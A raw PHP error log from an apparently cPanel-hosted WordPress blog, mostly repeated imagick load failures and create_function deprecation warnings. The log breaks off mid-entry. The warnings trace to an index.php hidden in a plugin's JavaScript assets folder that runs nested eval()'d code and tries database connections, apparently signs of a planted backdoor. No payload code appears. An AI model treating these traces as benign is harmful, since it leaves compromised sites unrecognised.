(libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 13:31:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 14:32:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 14:32:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 15:33:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 15:33:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 16:34:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 16:34:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 17:35:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 17:35:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 18:36:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 18:36:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 19:37:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 19:37:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 19:42:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 19:42:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 19:46:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 19:46:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 19:51:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 19:51:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 20:02:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 20:02:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 20:08:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 20:08:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 20:14:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 20:14:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 20:21:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 20:21:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 20:35:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 20:35:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 20:37:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 20:37:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 21:38:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 21:38:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 21:48:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 21:48:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 21:48:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 21:48:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 21:48:18 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [12-Jun-2023 21:48:18 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [12-Jun-2023 21:48:18 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [12-Jun-2023 21:48:18 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [12-Jun-2023 21:48:18 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [12-Jun-2023 21:48:18 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [12-Jun-2023 21:48:19 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [12-Jun-2023 21:48:19 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [12-Jun-2023 21:48:19 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [12-Jun-2023 21:48:19 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [12-Jun-2023 21:48:19 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [12-Jun-2023 21:48:19 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [12-Jun-2023 21:48:19 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [12-Jun-2023 21:48:19 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [12-Jun-2023 21:48:19 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [12-Jun-2023 21:48:19 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [12-Jun-2023 22:38:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 22:38:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 23:39:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 23:39:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 00:40:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 00:40:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 01:15:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 01:15:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 01:18:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 01:18:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 01:21:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 01:21:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 01:34:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 01:34:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 01:39:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 01:39:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 01:43:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 01:43:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 01:46:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 01:46:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 01:48:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 01:48:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 03:42:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 03:42:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 04:43:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 04:43:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 05:44:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 05:44:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 06:45:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 06:45:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 07:00:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 07:00:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 07:01:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 07:01:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 07:07:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 07:07:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 07:10:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 07:10:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 07:10:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [13-Jun-2023 07:10:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [13-Jun-2023 07:11:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), 